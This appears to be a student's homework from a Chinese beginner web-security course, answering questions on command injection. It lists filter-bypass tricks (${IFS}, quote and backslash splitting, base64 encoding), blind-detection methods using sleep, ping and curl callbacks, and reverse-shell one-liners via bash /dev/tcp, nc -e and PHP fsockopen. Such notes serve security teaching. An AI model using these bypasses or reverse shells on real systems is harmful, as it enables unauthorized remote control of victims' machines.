Web安全工程师(入门班)
【全国线上入门班53期】课后作业
2020-2-28
DorinXL
- 查资料都有哪些绕过命令注入过滤技巧?
1.黑名单绕过
字符拼接:a=l;b=s;$a$b 输出ls
2.空格绕过:
${IFS}空格
\x20转化成字符串也是空格
重定向符<>
3.编码绕过:
输入echo MTIzCg==|base64 -d,将会打印123
4.用单引号和双引号绕过:
例如:ca’’t flag 或者是 ca"“t flag
5.反斜杠绕过:
例如:ca\t fl\ag
6.绕过长度限制:
linux下可以用 1>a创建文件名为a的空文件,ls -t>test则会将目录按时间排序后写进test文件中,sh命令可以从一个文件中读取命令来执行
- 检测命令注入漏洞时没有回显怎么办?
-
利用延时命令查看响应速度或者请求服务器查看是否接收到请求。
-
延时注入:windows:ping 127.0.0.1 -n 5 >nul
Linux : sleep 5
- 远程请求:windows : ping,telnet等
Linux : wget,curl等
- 怎么通过命令注入漏洞反弹shell?
-
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
-
**Bash方式** : $ bash -c "sh >& /dev/tcp/your ip/port 0>&1"
-
exec方式 : $ exec 5<>/dev/tcp/ip/port
-
nc方式
-
本机运行:
-
nc -l -vv -p port
-
目标主机:
-
nc -e /bin/bash ip port
-
php方式
-
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/sh -i <&3 >&3 2>&3”);’